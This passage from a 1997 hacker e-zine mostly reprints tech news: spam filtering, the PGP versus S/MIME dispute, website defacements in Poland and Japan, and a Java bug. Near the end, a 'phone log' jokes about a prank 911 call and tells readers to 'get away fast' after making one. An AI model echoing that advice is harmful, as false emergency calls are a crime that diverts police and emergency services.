The default mail setting for AOLers is PreferredMail, which filters incoming 
email from a list of rogue domains and spammers. The list of sites is 
available to AOL members by an internal AOL document called "PreferredMail - 
The Guard Against Junk E-mail," Primrose said. 

A court order last year had limited the notorious spam factory Cyber 
Promotions to sending to AOL from only five domains, which AOL has put on its 
PreferredMail filter list. The list is updated when users forward copies of 
spam to the AOL screen name TOSSPAM. 

Primrose noted that the PreferredMail option could be disabled, should the 
user want to receive unsolicited commercial email, but that "the vast 
majority of our members don't like spam." 

Email delivery problems have plagued AOL for some time - a lag between the 
steady influx of AOL customers and the company's equipment upgrades have put 
a strain both on its system and the rest of the Net. One month ago, a huge 
backlog of AOL mail was returned to sender to the University of Madison's 
email server, causing it to crash. 

"We're constantly scaling our architecture to increase the demand," says 
Primrose, noting that internal mail down times do occur, usually lasting from 
15 minutes to 2 hours in length. She said AOL has seen email "increase 
dramatically in the last five months, coinciding with our switch to flat-rate 
pricing, and going from 5 million to 12 million messages a day." 
  
©1993-97 Wired Ventures, Inc.
_____________________________________________________________
 
 Pretty Good Politics
 by Simson Garfinkel 

 5:00am 7.May.97.PDT -- Phil Zimmermann is about to fight the biggest battle 
 of his career. But this time Zimmermann isn't fighting against the US 
 government; he's fighting against Microsoft and Netscape. 

Zimmermann is, of course, that mythic crypto rebel hero. Back in 1991, 
Zimmermann wrote an email encryption program called PGP (pretty good privacy) 
and gave it away. PGP was "encryption for the masses." That made the US 
government nervous. 

But PGP has had a big problem since its invention - the program was (and 
still is) extremely difficult to use. As a result, most people who have PGP 
rarely use it. Hell, I even wrote a book about how to use PGP, and I hate 
getting encrypted email; it's a pain. Still, the encryption program has been 
the de facto standard for six years. 

Zimmermann and his start-up, PGP Inc., are trying to develop an easier-to-use 
version of the program, and a plug-in for Netscape Navigator to make 
encryption transparent. Unfortunately, they may be blowing into the wind. 
That's because both Netscape Communicator, bundled with Navigator 4.0, and 
Microsoft Outlook Express, bundled with Explorer 4.0, come with built-in 
support for email encryption, and they don't use PGP. Instead, they use a 
different technology, called S/MIME. S/MIME is an encryption standard 
developed by RSA Data Security. 

What's developing here is one of those religious wars for which the computer 
industry is so well known. On one side, there is the alliance between 
Netscape, Microsoft, RSA Data Security, and much of the computer industry. 
They are pushing for S/MIME as a worldwide secure email standard. On the 
other side is PGP Inc., which says the S/MIME standard is fundamentally 
flawed because it requires support for 40-bit crypto, which is too weak to be 
of much utility, but exportable under federal law. 

Charles Breed, PGP's director of technical marketing, says S/MIME turns its 
back on the thousands of Internet users who use PGP. 

Netscape brushes off Breed's charges. "We don't want to get into religious 
wars on the mail standards," says Eric Greenberg, Netscape's security product 
manager. "There are a lot of PGP users out there, and we are pleased that PGP 
has offered a plug-in for our product." 

For S/MIME, the real problem doesn't seem to be PGP but the Internet 
Engineering Task Force. RSA has offered S/MIME to the IETF as a proposed 
standard for sending encrypted email. But at the last IETF meeting in 
Memphis, Tennessee, a number of objections were raised: 

1.S/MIME is a trademark of RSA Data Security. In order for it to be a 
standard, RSA would have to give up the trademark. 

2.The S/MIME standard currently requires that any implementation be able to 
encrypt and decrypt data using the RC2 data-encryption algorithm and the RSA 
public key algorithm. Although RC2 has been published on the Internet, the 
algorithm is still officially an RSA Data Security proprietary technology, 
and the company has threatened to take legal action against any firm that 
implements the algorithm without a license. As for the RSA algorithm, it's 
patent isn't up until the year 2000. 

3.Finally, S/MIME's requirement that any implementation be able to encrypt 
and decrypt messages with a 40-bit key doesn't sit well with IETF's technical 
gurus, who don't want to approve a standard that requires weak crypto just so 
US companies can sell their wares overseas. IETF's charter is to create the 
best standard possible, not to create a standard that is in the interests of 
US businesses. 

"S/MIME in its current incarnation cannot become an Internet standard," says 
Jeff Schiller, who heads the IETF's section on security. "So basically, one 
of three things has to happen. One is that the RSA people give the IETF 
people the appropriate rights to the trademark. Either they have to give up 
on RC2 and allow other public key algorithms - it should be possible to 
implement this Internet standard without having to buy technology from RSA. 
Or the IETF needs to develop something [for which] all the rights are 
available." 

RSA has until 1 July to make up its mind, Schiller says. 

The standard may already be moot. With Microsoft and Netscape poised to ship 
millions of programs that implement S/MIME, there certainly will be encrypted 
email for anybody who wants it. On the other hand, it would be nice if there 
were an international email encryption standard that wasn't hobbled by 40-bit 
restrictions. 

The real losers in all this are Phil Zimmermann and PGP Inc. That's because 
the same rules that prevent Netscape or Microsoft from selling strong crypto 
overseas also block PGP from doing the same. PGP's only market is the United 
States, and it is competing against Microsoft's free Outlook Express - which 
is a pretty darn good email program - and Netscape's Communicator, which does 
a much better job of integration than PGP can with its plug-in. 

©Packet
_____________________________________________________________
 
 Hong Kong Is Asia's Spam Epicenter 
 By Eric Lai, IT Daily.
 
 HONG KONG, 1997 MAY 14 (NB) -- The Spam capital of Asia? Without a doubt, 
 Hong Kong. Two big reasons: Hong Kong's pro-business culture and the 
 proliferation of ISPs. 

The Office of Telecommunications Authority says that under the existing 
licence for ISPs, the "transmission of unsolicited advertising information or 
unsolicited promotional information" is forbidden because it is a public 
nuisance. 

The problem is enforcement. OFTA says that regulating junk e-mail is up to 
individual service providers. Hong Kong ISPs informally agree to help each 
other find and terminate spammer accounts, according to Daniel Ng, president 
of the Hong Kong Internet Service Provider Association, a local trade group, 
and Hongkong Star Internet. 

But as evidenced by complaints from Internet users around the world, local 
ISPs have been a little lax in cracking down on spammers. Part of the problem 
is the sheer number of ISPs here. The territory has around 60 ISPs, serving, 
according to IDC, around 114,000 subscribers. The resulting heavy competition 
means that earnest spammers can cheaply and easily hold multiple accounts. 

Singapore, by contrast, has about the same number of Internet users, but due 
to an arduous licensing process, only three commercial service providers. 
Singapore regulations restrict access to political and sexual material on the 
Internet, but they don't ban junk e-mail. The Singapore Broadcast Authority 
and the Telecommunications Authority of Singapore don't regulate junk e-mail, 
or junk faxes, either. The SBA says they only deal with broadcasting and 
broadcasting material, while the TAS says it doesn't deal with content. 

In the absence of formal rules, Singaporean ISPs have decided to follow 
accepted netiquette and stop spam when they find it. "Basically spammers are 
a nuisance," says Maureen Tseng, communication manager for Pacific Internet. 
While bulk e-mailers have never inadvertently crashed Pacific Internet's mail 
servers, they have slowed down performance in "isolated instances." Tseng, as 
well as officials from CyberWay, another ISP, agreed that commercial spamming 
has not been a major problem. 

In the Philippines, there are also more than 60 service providers and no 
formal regulations against junk e-mail. But commercial junk E-mails are also 
relatively unknown, according to industry executives there. "We're just not 
that technologically advanced," quipped a manager at InfoCom, the 
Philippines' largest ISP. 

Could it be Hong Kong's fabled moneymaking culture which, at the very least, 
does not actively frown upon efforts to make a buck? Chapman Chow of Active 
Promotion thinks so. Out of more than 3,000 e-mails from Internet users 
requesting to be taken off Active Promotion's list, Chow claims he "didn't 
get any upset replies." This, he says, indicates that Hong Kong citizens are 
more accepting of junk e-mail. Alamo Music's Alleva says about 10 percent of 
the replies to his bulk e-mails, sent to Hong Kong and global Internet users, 
are negative. But Alleva's statistics aren't necessarily accurate because, 
for one thing, his software automatically "bounces back" any messages from 
irate users who use foul language. 

Creating commercial Web sites is cheap, but it's not an effective marketing 
tool unless you get visitors. Bulk e-mail is attractive because it can reach 
huge numbers at practically no cost. 

Spammers rave about how cheap it all is. But like selfish children, they 
conveniently ignore the hard fact that someone is picking up the bill for 
them. In most cases, it is the ISPs who have to purchase more computers to 
process the extra e-mail traffic. Netvigator, for instance, cited an 
overloaded and subsequently crashed e-mail computer to Alleva as its official 
reason for terminating his "ccr" account. More staff is also required to 
field complaints from subscribers and Internet users worldwide. 

Spam recipients aren't spared, as they must spend time downloading, reading 
and deleting unwanted e-mail, ask to be removed from junk e-mail lists, or 
implement filters to block out spam. 

©1997 Newsbytes   
_____________________________________________________________

 Polish Govt Web Site Hacked - Police Investigate 
 By Sylvia Dennis
  
 WARSAW, POLAND, 1997 MAY 9 (NB) -- Polish government officials were outraged 
 this week when it was revealed that the Cabinet office's newly established 
 Web site had been altered by Polish hackers calling themselves Damage Inc. 

The Cabinet Web site has now been taken offline, but a copy of the altered 
Web site can be found at http:/www.software.com.pl/intdev /news/welcomep.html 
the site of the Net security Institute in Warsaw. 

The hackers altered much of the data on the site by uploading their own pages 
last weekend, with headers such as "Hackpolska Polska (Hackrepublic of 
Poland) and the "Centrum DizinInformacyjne Polska" (Polish Government 
Disinformation Center." 

Links from the Cabinet office site were rerouted to a number of sexually 
explicit sites. For example, the routes from the site to information about 
the Prime Minister route to http://www.playboy.com . 

Interestingly, many of the routes from the Web site appear to have been 
trashed, and supporting images on the Web site (GIFs) no longer load as 
requested. This suggests that the hackers used a "quick and dirty" method of 
trashing the site, rather than taking their time. 

Gazeta Wyborcza, the Polish daily newspaper, reports that the police, at the 
express request of the government, have set up a task force to track down the 
hackers, who are thought to reside in Poland. 

What the hackers may not be aware of, Newsbytes notes, is that Polska Telecom 
is still a state operation, and that listings of telephone accesses to the 
Internet are freely available to the Polish secret service. It seems logical 
to assume that the police are now hot on the trail of the hackers. 

At a press briefing in Warsaw to discuss the hack, the most serious in Polish 
history, government spokesperson Aleksandra Jakubowska said that the 
government Web server has been disconnected from the Internet until new 
security systems are installed. 

Considerable anti-hacking fury has been generated by the hack, and Newsbytes' 
sources suggest that this may be the catalyst for the Polish government to 
formulate its own computer misuse legislation. As Poland is now on the way to 
joining the European Community, this unexpected step, by "Damage Inc" could 
bring the creation of the legislation forward by several years. 

©1997 Newsbytes   
_____________________________________________________________
 
 Gates Harasser Charged 
 (05/16/97; 11:00 a.m. EDT)
 By Christine Casatelli, TechWire

 SEATTLE -- A 21-year-old Illinois man was arrested after threatening to kill 
 Microsoft chairman Bill Gates and his wife unless they paid him $5 million, 
 according to an Associated Press report Thursday.

Adam Quinn Pletcher is charged with making the threats in four letters sent 
to Gates at Microsoft's Redmond, Wash., headquarters, the AP report said. A 
federal grand jury here indicted Pletcher on Wednesday.

"Obviously, we have taken this threat very seriously," said Mark Murray, a 
Microsoft spokesman. The matter was handled in a "rather routine matter" by 
Microsoft security, local police and the FBI, he said.

"Bill was never involved in any way in the investigation," said Murray, 
adding that he would not comment on whether Gates would be asked to testify.

The first letter, which was received March 14 and intercepted by Microsoft 
security, demanded that Gates post a personal ad on America Online to 
communicate with the writer.

The last letter, received April 17, told Gates he must put money in a foreign 
bank no later than April 26 ``to avoid dying, among other things,'' the AP 
report said. Also included in the letter was a computer disk to be used by 
Gates to communicate with the writer, who is said to live in Long Grove, Ill.

"The writer cautioned Gates not to notify law enforcement, and that if Gates 
did so, the writer could kill him with `one bullet from my rifle at a quarter 
of a mile away,'" the court documents said.

Pletcher also has been the target of a civil lawsuit filed by Illinois 
authorities charging that he operated a fraud scheme over the Internet, the 
AP report said.

Neither Gates nor his wife were harmed, and the $5 million demand was not 
paid, the AP report said.

Pletcher was released after posting $100,000 bail. If convicted of extortion, 
he faces a maximum punishment of 20 years in jail and a $250,000 fine.

The arraignment is scheduled for May 22. 

©CMP Media, 1996.
_____________________________________________________________

 Java Bug Discovered 
 (05/18/97; 2:45 p.m. EDT)
 By Deborah Gage, Computer Reseller News

 JavaSoft has posted a statement on its web page acknowledging a Java 
 verifier bug found by researchers at the University of Washington.

A JavaSoft spokeswoman said the bug enables a class file to filter through 
the Java verifier and possibly crash the Java Virtual Machine. JavaSoft does 
not consider the bug a security bug because the University of Washington did 
not do a security, or so-called denial-of-service, attack.

JavaSoft will issue a patch for Java licensees this week and a fix will go 
out in version 1.1.2 of the Java Developers Kit, due within the next two 
weeks.

The University of Washington is also working with Microsoft on bugs found in 
the Internet Explorer browser, sources said. A Microsoft spokeswoman said, 
however, that no similar announcement was planned and that she was unaware of 
any bugs.

©CMP Media, 1996.
_____________________________________________________________
 
 Anti-Microsoft Sites Rampant On Web 
 (05/20/97; 9:00 a.m. EDT)
 By Malcolm Maclachlan , TechWire

 REDMOND, Wash. -- In the Internet Age, you know you're a VIP when someone 
 creates a Website just to make fun of you.

No one is more of a VIP than Microsoft chairman Bill Gates. However, the most 
mocked on the Internet seems to have taken the attitude that when you're the 
biggest, you can take the punches.

"There is so much humor and parody on the Internet," said Kurt Winkelman, 
cocreator of a spoof site known as Microcult. "Some of the bigger companies 
take it as a compliment."

Microcult compares the software giant to a cult along the lines of Heaven's 
Gate. It purports to offer products such as ActiveCult 97 and values 
employees willing "to kill themselves for the sake of technology."

The site is the work of Wilmington, Del.-based Museum Mercantile Ltd., a Web 
design and hosting firm run by Winkelman and two colleagues. However, far 
from being Microsoft haters, the company uses many of its products and has 
even done work for Microsoft.

The site just seemed like a fun thing to do, said Winkelman, adding that he 
was inspired by another site -- Microsnot -- which included a press release 
on Bill Gates buying England. Similarly, he said, some of the site's biggest 
fans are Microsoft employees.

There are spoof sites for other companies, too, Winkelman said, including 
Wired and CNet. No one, however, compares with Microsoft, he said. There is 
now a Website dedicated exclusively toward cataloging Microsoft spoof sites, 
called The MSBC Super List of Anti-Microsoft Websites, which contains more 
than 80 such links.

Common themes include comparing Gates to Satan or Bill Clinton. Other links 
include the  The Boycott Microsoft page and the subtly named Microsoft Sucks 
page. There is even The Bill Gates Personal Wealth Clock, which tries to keep 
up to date with Gates' immense personal fortune.

Despite all the venom, Microsoft does not seem particularly concerned, even 
with sites that copy its logos for hostile satire.

"Microsoft does not have any specific stance on spoof sites," a Microsoft 
spokesman said. The software giant has not taken action against the 
developers on any of the parody Websites, he said. "There are so many out 
there, we just let them be." 

©CMP Media, 1996.
_____________________________________________________________
 
 World Wide Web to arrive on pay phones 
 May 20, 1997
 
 TORONTO (Reuter) -- The World Wide Web might be coming to a pay phone near 
 you, thanks to a small Canadian multimedia company that teamed up Tuesday 
 with a Hong Kong telecommunications concern.  

King Products Inc. said it received a $2.2 million order to supply multimedia 
and Internet-ready pay phones to INFA Telecom Asia Ltd. of Hong Kong.  

Called PowerPhones, the units will be installed in the Hong Kong Convention 
and Exhibition Center in time for the July 1 handover ceremony marking the 
transfer of the former British colony to China.  

PowerPhones will also be installed in railway stations and other tourist 
spots in Hong Kong and throughout China.  

"The PowerPhone is a major advance from the pay phones of the past that we 
have all become familiar with," King President Peter Richards said at a news 
conference.  

The wall-mounted unit is a combination pay phone and network computer that 
allows the display of advertising, telephone directories, hotel and 
restaurant reservations and other information.  

Company officials explained that the phone can be used to find a restaurant, 
make a reservation or call up a map for directions.  

The phones will also allow users to send and receive e-mail and surf the 
Internet, though these features will not be available immediately.  

The phone comes with a handset, a color touch screen and a slot for so-called 
smart cards and credit cards. It is powered by an Intel Corp. Pentium 
processor and uses various Internet protocols and accessories to run videos.  

"We expect to deploy the PowerPhone throughout Hong Kong and subsequently 
into China over the course of the year," INFA Telecom Chairman Peter Tsang 
said in a statement.  

King, best known for its line of electronic kiosks in malls and other public 
places, will make the units in Canada for INFA Telecom, which has operations 
in 70 Chinese cities. iMagic Infomedia Technology Ltd. of Hong Kong is 
providing software development for the product.  

King officials said the PowerPhone will be distributed in North America but 
could not give a date.  

©1997 Reuters Limited.
_____________________________________________________________       
 
 Phone company says: Put your life on hold until we fix your line          
 Thursday, May 22, 1997  
 SILICON VALLEY DISPATCHES: MIKE CASSIDY 

 THIS TALK of high-speed communication, ISDN, T1, cellular, fax and the rest 
 makes Thomas Wyskida and Renata Kusiak laugh.

 They have to laugh; otherwise they'd kill somebody.

It's been three months since they moved from tiny Wappingers Falls, N.Y., to 
the self-proclaimed Heart of Silicon Valley, but the technology revolution 
has eluded them entirely.

"I can't even call up to order a pizza," Wyskida, 28, says.

It's the phone, or the lack of one. They are discovering what thousands in 
Silicon Valley know: Getting quick phone service around here is akin to 
hitting the lottery. With job growth and the Internet boom, Pacific Bell had 
a back-up of 2,000 service orders in its service area last week. People are 
considering bequeathing their place in line to their children or 
grandchildren.

Besides saying this will improve, the phone company says this is a good 
thing. It means their services are really popular. They had no idea so many 
would want so much -- second lines, high-speed computer connections -- so 
fast.

"I think that we're in a fairly unique position in this part of the country," 
says Ho Blair, media relations manager. "There is an increased awareness and 
sensitivity and state-of-the-art knowledge of telecommunications."

As one who manages media relations, Blair would rather you not call service 
delays a problem.

"It's not a problem," he says. "It's quite frankly a situation of heavy 
demand."

Which makes Wyskida laugh some more. The phone at the Sunnyvale home he 
shares with Kusiak, 31, went dead April 6. Workers fixed the corroded cables 
outside his house May 2. In between, he called Pac Bell every day asking for 
help.

"I probably talked to every one of their operators in 30 days," he says. "I'm 
probably on some kind of death list."

OK. It's not like his phone didn't work at all.

"At 3 o'clock in the morning, the phone would ring. You'd pick it up and 
you'd hear loud noises and static."

And it's not like Pac Bell was unsympathetic. One operator suggested he 
forward his calls to a neighbor. Wyskida was beginning to think California 
was a very different place.

"I figured, it's the same country. How much different can it be?"

But there he was, using a liquor store pay phone to work on his job search 
and call friends in New York. And, of course, to call Pac Bell, which did fix 
the problem. The phone company even called to check in.

"It was somebody from the billing department," Wyskida says. "They wanted to 
know if I received a bill yet."

©San Jose Mercury News 1997
_____________________________________________________________

 Japanese Police Nab Computer User On Hacking Charges 

 TOKYO, JAPAN, 1997 MAY 26 (NB) -- By Martyn Williams. Japanese police said 
 Friday, they had arrested a Saitama prefecture resident on charges covered 
 by a recent computer hacking law, the first such time the law has been used. 
 The man replaced weather images on the home page of TV-Asahi, a national TV 
 network, with pornographic images. 

Koichi Kuboshima, a 27-year old resident of Fujimi, Saitama Prefecture, just 
north of Tokyo, allegedly exploited a function on the Web page that allows 
users to upload weather information. 

Police tracked down Kuboshima by gaining access to the records of an Internet 
service provider that he reportedly used to carry out the hack. Local press 
reports said the account was opened with a false credit card number and name. 

Weather images were replaced with the images at 10am last Sunday morning and 
the Web site was taken down at 10:10am when other users notified TV-Asahi. 
The site was repaired and available again at 1pm. 

If convicted, Kuboshima faces a fine up to one million yen ($8,635) and up to 
five years behind bars. 

©1997 Newsbytes   
_____________________________________________________________
 
 Opening Communication Between PCs and Phones
 by Chris Oakes 

 11:58am 29.May.97.PDT -- Despite the possible uses of linking caller-ID 
 information to software on the PC, the long-available enabling products 
 haven't become household - or even SOHO - names. So far, offerings 
 exploiting caller-ID intelligence have been aimed at larger, multi-line 
 businesses. 

Next month, one company hopes to make PC-based caller-ID technology more 
commonplace. To manage the caller-ID information of a single voice line, 
SOHOtools' Connect-ID, to be announced at the Atlanta Comdex show, will work 
in concert with database and contact-management software to let a PC react to 
incoming calls. 

The company says its retail price, US$60, introduces a new market to "voice 
communication management." 

"A number of people have goofed around with caller ID," says SOHOtools 
marketing director Don Wallis, "but it has never really been put into a 
retail scenario." 

The software-plus-hardware product touts call-tracking benefits via software 
designed to work in concert with Windows personal information managers such 
as Act and SideKick. 

As they become compatible with telephony APIs like Microsoft's TAPI, these 
and other applications can interact with telco-provided features like caller 
ID. Combined with inter-application standards like Windows' Dynamic Data 
Exchange, the potential actions initiated by a phone call multiply. 

The most obvious use of caller ID for the SOHO market is to leverage caller 
ID in a fashion similar to a big call center. When the call comes in, in 
addition to being logged and tracked by a database, a wealth of caller 
information is instantly accessed. SOHO users can be as responsive to 
customers' needs and interests as a large corporate call center. 

While increasingly sophisticated in email and fax communications, the PC has 
lagged in the management of the voice phone call. 

"The modem market had telephony all tied up," said Heather Poggimannis, VAR 
program manager for Rochelle Communications, which has been selling caller-ID 
PC products to businesses for several years. She says with the dominance of 
the modem between the PC and a phone line, it's been hard for the more truly 
telephony-oriented caller-ID device to make headway. 

Modem-makers like US Robotics are now making caller-ID functionality standard 
in their products, but without taking the technology beyond a software-based 
version of simple caller-ID devices. 

Nor does it often make sense to try to employ caller ID through a modem, she 
says, since that line is usually tied up with data duties. 

The combination technology also uniquely depends on the maneuvering of two 
industries - the telco and PC industries, neither intimately familiar with 
the other's market. 

Within the PC retail market, Poggimannis says caller-ID products suffer 
something of an identity crisis. Their vague "telephony" category - typically 
conjuring up modems and online communications - has made them difficult for 
stores to categorize and consumers to grasp. 

Complicating the issue is the fact that caller ID has only barely become 
available nationally, requiring the PC industry to wait while telcos iron out 
the technology and upgrade networks for universal deployment. 

"There's recently been a major push [for caller ID]," said Poggimannis, "but 
only from the telco side of the street." And their side doesn't work with PC 
applications in mind. "It's not their market." 

Wallis is undaunted. "Our game plan is to come from the bottom up," he said. 
If his company can satisfy people with four lines at a new price point of 
less than $400, he reasons, it can generate the business to establish a 
profitable retail market - ultimately creating a new category of "voice 
management" products. 

Meanwhile, for consumers, Jeff Johnson of Computer Professionals for Social 
Responsibility sees as much misery as benefit from the convergence of the PC 
with caller ID. 

"Before, the technology necessary to invade our privacy could only be 
afforded by large companies - the Fortune 500. Then the technology spread to 
the Fortune 5000, and now it's about to spread to the Fortune 500,000. Is 
that progress?" 

©1993-97 Wired Ventures, Inc.
_____________________________________________________________
 
 Phone giants talk of $50 billion deal    
 USA Today, May 28, 1997 

 AT&T and SBC Communications, the prior Southwestern Bell, are trying to come 
 up with a merger accord that would be worth $50 bil, the largest merger in 
 history. It would unite AT&T, which has a 52% market share in the US long 
 distance sector, and SBC which, since merging with Pacific Telesis, has a 
 25% market share in US local calling. Nevertheless, the merger would be 
 expected to face antitrust and regulatory hurdles. AT&T would become a 
 telecom giant with revenue of $80 bil/yr, which would be considerably larger 
 than the second largest phone firm, which is the merged Bell Atlantic-Nynex 
 with revenue in 1996 of $30 bil. Although AT&T does not have problems now, 
 problems can be expected in the future due to fierce competition from other 
 mergers. Detail is given to what the Justice Department's antitrust div can 
 be expected to examine in looking at the possible merger.       

©1997 USA Today
_____________________________________________________________

13. HFStival on May 31st
        The 8th Annual HFStival run by Scud-O's favorite local radio station,
WHFS 99.1 is going to take place this May 31st at RFK Stadium in Washington
DC. I hope you got your tickets early, as they sold out in a record 97 minutes
this year. This year, the tickets went for $20 ( plus a $3.50 service charge)
for 20 bands. The bands playing include: Prodigy, Beck, Cardigans, Jamiroquai,
Mighty Mighty Bosstones, Reel Big Fish, Squrel Nut Zippers, Summer Camp, Verve
Pipe, Kula Shaker, Local H, K's Choice, Jimmie's Chicken Shack, and........
SOUL COUGHING ( Look at the article after the editorial in this issue for more
info), and several other TBA bands.

[P H O N E    L O G S]------------------------------------------------

<Scud-O>Ummm, hello there, 911?
<Operator>Yes, how may i direct your call
<Scud-O>Um, can you call my mommy for me?
<Operator>No sir, we dont do that, this line is needed for other calls
<Scud-O>Well, im hurt, i need help
<Operator>Whats wrong sir?
<Scud-O>I just kiiled someone
<Operator>Sir, is this a prank?
<Scud-O>No, im serious, i need help, he attacked me, and i fought back,
        now he's dead!
<Operator>Who is dead sir?
<Scud-O>He is! I killed him!
<Operator>Sir, who did you kill?
<Scud-O>HIM! I KILLED HIM!
<Operator>Sir, im forwarding you to the police
<Scud-O>No, i need help, he needs to be stiched up
<Operator>Who needs to be stiched up?
<Scud-O>HE does, my teddy bear.
<Operator>Sir, this is a prank, please hang up.
<Scud-O>NO! Not until i get my mommy!
<Operator>Sir, calling up 911 without an emergancy is a crime, i am sending a
          squad car out to your location.
<Scud-O>Well, ok, will they have my mommy?
<Operator>No, no they will not have your mommy
<Scud-O>Will they have a warm cuddy blanket for me?
<Operator>No
<Scud-O>Warm cookies and milk?
<Operator>NO!
<Scud-O>OK then, bye-bye.
                            [ C L I C K ]
NOTE: This was done in a local mall about 30 minutes before the stores opened,
so it was pretty quiet, but a squad car did show up, so next time you call
911, make sure you get away fast.


_____________________________________________________________
	
	------------------------                  ----------------------
	 -[HAVOC Bell Systems]-                  -[Acknowledgements]-
	------------------------                  ----------------------

ArcAngl   : Just joined up
Agrajag   : Back from the dead           btm       : Elite (MIA?)
darkcyde  : #phreak old-schooler         digipimp  : Co-conspirator
Digital_X : Nemesis (MIA?)               dr1x      : It's 420!
disc0re   : Thinks were on NBC           ec|ipse   : Hysterical bastard
Keystroke : Submissions Editor           shamrock  : nice hair
KungFuFox : Helped Reform #phreak        RBCP      : Funniest man alive
memor     : Ueberleet French phreak      shoelace  : FINALLY has ops
psych0    : Lame ass mofo                halflife  : master idler
REality   : Owns Own3r                   darc      : Left #phreak
Scud-O    : Has a new car!               JP        : Runs Antionline.com
Redtyde   : #phreak not so old-schooler  tombin    : phear!
theLURK3R : Out Clubing                  antifire  : NT security guru
UnaBomber : Tired of IRC (MIA?)          ChiaPope  : sniff, we miss wrath!               
                                         FH        : He's so FUCKING HOSTILE!                                        
      -------------------                TMessiah  : Believes in 'Utopia'
        -[ Channels ]-                   fsh       : Text File Archiver
      -------------------                Modify    : Lives near Scud-O
  #phreak   : Newly Reformed             |Banshee| : Also lives near Scud-O
  #hackteach: One Busy Channel           mC        : infected.com - nuff said!
  #sin      : SIN Home                   silitoad  : Did ya like thtj?
                                         
  
_____________________________________________________________

This Month's Question:  What the fuck is this m00 thing?
        m00 v1.0 is a simple Firewall Defense Mechanism i am creating. I have
absolutly no idea when it will come out, so dont bug me about it.


_____________________________________________________________

Next Month:
        Look, we can predict the future about as well as a weatherman, so
        just chill out until july 1st to see what is going to be in thtj12!

                                          Issue 12 is out July 1st!

 Send all articles for issue 12 to Keystroke at: keystroke@thepentagon.com

	   Tune in next time, Same Bat Time, Same Bat Channel!

  ==========================================================
  = Is this copy of The HAVOC Technical Journal skunked?   = 
  = If this file doesn't read at 120924 bytes, it probably = 
  = doesn't have a born on date! Get a fresh copy from our = 
  = NEW site at:      http://www.antionline.com/hbs/       =
  ==========================================================
	   
                         -[End of Communique]-
